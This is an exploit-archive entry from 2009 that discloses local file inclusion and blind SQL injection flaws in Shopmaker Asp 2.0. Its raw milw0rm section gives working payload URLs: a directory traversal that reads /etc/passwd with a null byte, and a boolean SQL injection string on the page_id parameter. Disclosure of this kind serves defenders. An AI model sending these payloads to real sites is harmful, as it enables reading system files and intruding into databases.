Shopmaker CMS (bSQL/LFI) Multiple Remote Vulnerabilities

vendor:

Shopmaker Asp

by:

Platen

7,5

CVSS

HIGH

LFI and Blind SQL Injection

22, 89

CWE

Product Name: Shopmaker Asp

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:shopmaker:shopmaker_asp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Shopmaker CMS (bSQL/LFI) Multiple Remote Vulnerabilities

Shopmaker Asp version 2.0 is vulnerable to Local File Inclusion and Blind SQL Injection. An attacker can exploit these vulnerabilities to gain access to sensitive information and execute arbitrary code on the server.

Mitigation:

Apply the latest security patches and ensure that the web application is configured securely.

Source

Exploit-DB raw data:

  Shopmaker CMS (bSQL/LFI) Multiple Remote Vulnerabilities


==============================================================================

Software : Shopmaker Asp 
version  : version 2.0
Vendor   : http://www.shopmaker.dk/
Author   : Platen  * mail: platen.secure[at]gmail.com
web      : Blog = Www.platen.gigfa.com ~ Www.pentesters.IR
Greetings: b3hz4d ~ Cru3l.b0y ~ Cdef3nder ~ Snake and all members in Pentesters.ir
==============================================================================


[LFI]

http://127.1.1.7/mod.php?mod=[LFI]

--------------------------------------------------------------------------

[BLIND SQL INJECTION ]

http://127.0.0.1/mod.php?mod=userpage&menu=130105&page_id=[BLIND]


--------------------------------------------------------------------------

exp:

lfi  ~~~~~~>  http://www.xxx.com/mod.php?mod=../../../../../../../../../../etc/passwd%00
                          
--------------------------------------------------------------------------
exp:

BLND ~~~~~~>  http://www.xxx.com:80/mod.php?mod=userpage&menu=130105&page_id=145'+and+31337-31337=0+--+

# milw0rm.com [2009-08-04]